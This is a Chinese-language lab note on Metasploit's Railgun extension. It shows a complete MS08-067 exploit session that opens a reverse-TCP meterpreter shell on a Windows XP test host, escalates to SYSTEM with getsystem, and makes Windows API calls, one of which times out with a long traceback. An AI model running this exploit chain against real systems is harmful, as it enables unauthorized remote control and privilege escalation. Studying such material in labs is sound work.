metasploit通过附加的Railgun组件操作Windows API

msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi) > set TARGET 41
TARGET => 41
msf  exploit(ms08_067_netapi) > setg LHOST 192.168.1.11
LHOST => 192.168.1.11
msf  exploit(ms08_067_netapi) > setg LPORT 8080
LPORT => 8080
msf  exploit(ms08_067_netapi) > setg RHOST 192.168.1.142
RHOST => 192.168.1.142
msf  exploit(ms08_067_netapi) > exploit -z

[*] Started reverse handler on 192.168.1.11:8080 
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.142
[*] Meterpreter session 1 opened (192.168.1.11:8080 -> 192.168.1.142:1081) at 2013-04-28 10:34:29 -0400
[*] Session 1 created in the background.
msf  exploit(ms08_067_netapi) > sessions -l

Active sessions
===============

  Id  Type                   Information  Connection
  --  ----                   -----------  ----------
  1   meterpreter x86/win32               192.168.1.11:8080 -> 192.168.1.142:1081 (192.168.1.142)

msf  exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")

在XP上等了很长时间，也没看到弹出来的helloworld的窗口，然后报错，超时了：

Rex::TimeoutError: Operation timed out.
        from /opt/metasploit/msf3/lib/rex/post/meterpreter/packet_dispatcher.rb:191:in `send_request'
        from /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb:261:in `process_function_call'
        from /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb:84:in `call_function'
        from /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb:24:in `method_missing'
        from (irb):1:in `cmd_irb'
        from /opt/metasploit/msf3/lib/rex/ui/text/irb_shell.rb:49:in `block in run'
        from /opt/metasploit/msf3/lib/rex/ui/text/irb_shell.rb:48:in `catch'
        from /opt/metasploit/msf3/lib/rex/ui/text/irb_shell.rb:48:in `run'
        from /opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:318:in `cmd_irb'
        from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:420:in `run_command'
        from /opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console.rb:104:in `run_command'
        from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:382:in `block in run_single'
        from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:376:in `each'
        from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:376:in `run_single'
        from /opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console.rb:68:in `block in interact'
        from /opt/metasploit/msf3/lib/rex/ui/text/shell.rb:190:in `call'
        from /opt/metasploit/msf3/lib/rex/ui/text/shell.rb:190:in `run'
        from /opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console.rb:66:in `interact'
        from /opt/metasploit/msf3/lib/msf/base/sessions/meterpreter.rb:431:in `_interact'
        from /opt/metasploit/msf3/lib/rex/ui/interactive.rb:49:in `interact'
        from /opt/metasploit/msf3/lib/msf/ui/console/command_dispatcher/core.rb:1595:in `cmd_sessions'
        from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:420:in `run_command'
        from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:382:in `block in run_single'
        from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:376:in `each'
        from /opt/metasploit/msf3/lib/rex/ui/text/dispatcher_shell.rb:376:in `run_single'
        from /opt/metasploit/msf3/lib/rex/ui/text/shell.rb:200:in `run'
        from /opt/metasploit/msf3/msfconsole:143:in `<main>'>> 

另外，输入其他的命令：

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "return"=>true}
>> 

我估计，并非每个Windows API都可以用。

RailgunUsage:

http://dev.metasploit.com/redmine/projects/framework/wiki/RailgunUsage

bt5上就有Railgun的参考手册：

/opt/metasploit/msf3/external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun_manual.pdf